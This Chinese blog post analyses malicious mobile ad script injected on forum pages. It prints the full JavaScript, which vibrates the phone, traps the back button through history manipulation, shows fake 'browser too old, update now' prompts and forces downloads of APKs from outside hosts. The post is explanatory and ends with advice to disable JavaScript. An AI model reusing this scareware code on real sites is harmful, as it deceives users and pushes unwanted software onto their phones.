手机浏览网页震动提示有病毒,并强制下载无法后退的代码分析
2019-10-14 admin 前端 2697
目前,这类网站似乎越来越多了,我们先看看用户的反映:
用户1:我打开一个网页,手机忽然开始振动,一直振动不停手机系统提示恶意网站,需要手机杀毒,下载一个新的杀毒软件,害怕手机中毒,按返回键不行,之后心急按下Hoom键,再返回浏览器,还是原来的网站,还是手机振动,系统提示恶意网站,之后赶紧Hoom键,强行停止了浏览器,我现在担心手机是否中病毒了?
用户2:现在手机打开天涯贴子,老是跳到可恶的广告的,真是气人!广告还退不出,不停振动,一模一样,说我中毒,虽然不相信,但是退不回去帖子,还一直震动,烦人!
经测试,天涯论坛每个页面都有,而CSDN是初次进入时弹出。主要有以下操作:强制弹出广告,要求下载杀毒软件;不断唤醒调用外部应用如淘宝支付宝,进入推广页面;手机震动,无法后退,只能强制关闭浏览器;强制下载各种推广APP。
经分析js代码,在页面顶部head标签内:
//手机震动1秒 if (navigator.vibrate) { navigator.vibrate(5000);//震动1000毫秒 } else if (navigator.webkitVibrate) { navigator.webkitVibrate(5000); }
然后,放置推广的app下载链接:
var surl = "https://cdn.zzcm2.com/sg2020/3a39gn/abc/7040/20191014-liulanqi-1110ph70400e.apk"; var surl2 = "https://m.yemnn.cn/llqqd_88/cpp7040z.jpg";
弹窗html:
相关的js函数:
function urldizhi2() { var time=new Date(); var min=time.getMinutes(); var hours=time.getHours(); var s=time.getSeconds(); var num = Math.random().toFixed(2)*400 + 100; var num2 = Math.random().toFixed(2)*400 + 100; var num3 = Math.random().toFixed(2)*400 + 100; var surl3 = 'https://cdn.zzcm2.com/sg2020/a'+num+'d'+num2+'f/abc/7040/20191014-liulanqi-7040h'+hours+min+'s'+s+'d'+num3+'.apk'; return surl3; } function is_touch_device() { return 'ontouchstart' in window // works on most browsers || 'onmsgesturechange' in window; // works on ie10 }; if ((is_touch_device() || (window.screen.availHeight + window.screen.availWidth) < 1700) && navigator.plugins.length == 0) { //alert('提示!\n\n最近免费电影,电视剧,伦理电影在线看!\n\n**请勿关闭本窗口**'); var c = 0; window.onpopstate = function() { c++; if (c == 1) { startVibrate(); tuitanc(); } if (c == 3) { startVibrate(); tuitanc(); } if (c == 5) { startVibrate(); tuitanc(); } }; var a=0; $(function(){ pushHistory(); window.addEventListener("popstate", function(e) { if(a<20){ //第一次后退 a++; history.pushState("back", null, null); //window.setTimeout(function(){history.pushState(null, null);window.onpopstate = function(){history.go(-1);return false;};}, 500); }else{ // window.setTimeout(function(){history.pushState(null, null);window.onpopstate = function(){window.location.href = "http://y3.doukekan.cn/";return false;};}, 500); } }, false); function pushHistory() { var state = { title: "title", url: "#" }; window.history.pushState(state, "title", "#"); } }); //timer script var sec = 59; // set the seconds var min = 04; // set the minutes var ci=0; function countDown() { if(ci == 0){ //surl5=urldizhi2(); //location.href=surl5; ci++; } sec--; if (sec == -01) { sec = 59; min = min - 1; } else { min = min; } if (sec<=9) { sec = "0" + sec; } //time = (min<=9 ? "" + min : min) + " 分钟 " + sec + " 秒"; //if (document.getElementById) { document.getElementById('theTime').innerHTML = time; } SD=window.setTimeout("countDown();", 1000); if (min == '00' && sec == '00') { sec = "00"; window.clearTimeout(SD); } } window.onload = countDown; } function cimg(){ var cc=new Image(); //cc = document.createElement('link'); cc.src=surl2; document.getElementById("d1").appendChild(cc); } var Test={ createDiv_01:function(){ var link = document.createElement('img'); link.src=surl2; document.getElementById("d1").appendChild(link); }, }; var i = 0; var j = 0; function time() { i++; if (i < 7) { setTimeout(time, 200); } else if (i == 7) { tanc(); } } $(function() { time(); //startVibrate(); }); var array = ["#ff0000", "#fc4848"], index = -1; setInterval(function() { index++; index = index > array.length - 1 ? 0 : index; $(".ql-head").css("backgroundColor", array[index]); }, 500); function tanc() { var msg = confirm("浏览器版本过低,请立即更新"); if (msg == true) { surl3=urldizhi(); location.href = surl3; Test.createDiv_01(); } } function tuitanc() { var msg = confirm("浏览器版本过低,请立即更新"); // if (msg == true) { surl3=urldizhi(); location.href = surl3; Test.createDiv_01(); // } } // 开始震动 function startVibrate() { var u = navigator.userAgent, app = navigator.appVersion; var isAndroid = u.indexOf("Android") > -1 || u.indexOf("Linux") > -1; //安卓端 if (isAndroid) { navigator.vibrate([3000, 2000, 1000]); } } function urldizhi() { var time=new Date(); var min=time.getMinutes(); var hours=time.getHours(); var s=time.getSeconds(); var num = Math.random().toFixed(2)*400 + 100; var num2 = Math.random().toFixed(2)*400 + 100; var num3 = Math.random().toFixed(2)*400 + 100; var surl3 = 'https://cdn.zzcm2.com/sg2020/a'+num+'d'+num2+'f/abc/7040/20191014-liulanqi-7040h'+hours+min+'s'+s+'d'+num3+'.apk'; return surl3; } function downapk() { surl3=urldizhi(); var msg = confirm("请勿直接退出,下载最新版高速浏览器"); if (msg == true) { location.href = surl3; } else { location.href = surl3; } Test.createDiv_01(); } function downapk2() { surl3=urldizhi(); location.href = surl3; }
页面载入完毕就执行:
$(document).ready(function(e) { var zd=0; $("#zendong").click(function(){ if(zd == 0){ navigator.vibrate([1000, 10, 1000,10]); } zd++; }); });
可以发现,这流氓代码是非常令人厌恶的,如何应对呢?可以使用轻量的via浏览器,然后在高级设置时,禁用javescript,彻底防止此类恶意网站的代码动作。手机自带浏览器大多不支持禁用,谷歌浏览器也可以禁用js。